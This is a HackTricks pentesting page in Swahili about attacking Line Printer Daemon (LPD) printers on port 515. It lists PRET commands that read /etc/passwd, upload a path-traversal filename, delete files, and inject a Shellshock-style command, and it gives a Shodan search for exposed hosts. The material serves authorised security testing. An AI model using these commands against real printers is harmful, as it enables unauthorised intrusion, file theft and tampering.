hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

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Utangulizi wa Protokali ya LPD

Katika miaka ya 1980, Line Printer Daemon (LPD) protocol ilitengenezwa katika Berkeley Unix, ambayo baadaye ilithibitishwa kupitia RFC1179. Protokali hii inafanya kazi kupitia bandari 515/tcp, ikiruhusu mwingiliano kupitia amri ya lpr. Kiini cha uchapishaji kupitia LPD kinahusisha kutuma faili ya udhibiti (ili kubainisha maelezo ya kazi na mtumiaji) pamoja na faili ya data (ambayo ina habari za uchapishaji). Wakati faili ya udhibiti inaruhusu uchaguzi wa aina mbalimbali za faili kwa faili ya data, usimamizi wa faili hizi unategemea utekelezaji maalum wa LPD. Utekelezaji unaotambulika sana kwa mifumo kama Unix ni LPRng. Kwa kuzingatia, protokali ya LPD inaweza kutumika vibaya kutekeleza PostScript mbaya au kazi za uchapishaji za PJL.

Zana za Kuingiliana na Printer za LPD

PRET inatoa zana mbili muhimu, lpdprint na lpdtest, zinazotoa njia rahisi ya kuingiliana na printer zinazofaa LPD. Zana hizi zinaruhusu aina mbalimbali za vitendo kutoka kwa uchapishaji wa data hadi kubadilisha faili kwenye printer, kama vile kupakua, kupakia, au kufuta:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

Kwa watu wanaovutiwa na kuchunguza zaidi ulimwengu wa printer hacking, rasilimali kamili inaweza kupatikana hapa: Hacking Printers.

Shodan

• port 515

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